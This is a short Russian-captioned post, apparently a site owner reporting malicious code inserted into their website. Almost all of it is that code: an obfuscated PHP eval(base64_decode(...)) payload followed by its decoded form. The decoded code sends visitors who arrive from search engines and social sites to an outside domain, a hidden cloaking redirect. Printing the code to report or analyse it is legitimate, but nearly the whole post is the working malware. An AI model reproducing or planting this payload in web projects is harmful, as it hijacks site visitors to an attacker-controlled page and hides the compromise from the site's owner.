вставили вредоносный код

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwogJHFhenBsbT1oZWFkZXJzX3Nl
bnQoKTsKaWYgKCEkcWF6cGxtKXsKICRyZWZlcmVyPSRfU0VSVkV
SWydIVFRQX1JFRkVSRVInXTsKJHVhZz0kX1NFUlZFUlsnSFRUUF9VU
0VSX0FHRU5UJ107CiBpZiAoJHVhZykgewppZiAoc3RyaXN0cigkcmV
mZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyK
CRyZWZ
lcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkc
mVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKC
RyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdH
Jpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSB
vciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb
3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzd
HIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpd
C5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcm
VmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmN
vbSIpI
G9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZm
FjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CiBpZiAoIXN0cmlz
dHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewogaGVhZG
VyKCJMb2NhdGlvbjogaHR0cDovL2JyZWFraW5nYmFkLm9zYS5wbC8iKTsKIGV4aXQoKTsKIH0KIH0KfQoJfQ=="));

error_reporting(0);
 $qazplm=headers_sent();
if (!$qazplm){
 $referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
 if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"***.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
 if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
 header("Location: http://breakingbad.osa.pl/");
 exit();
 }
 }
}
	}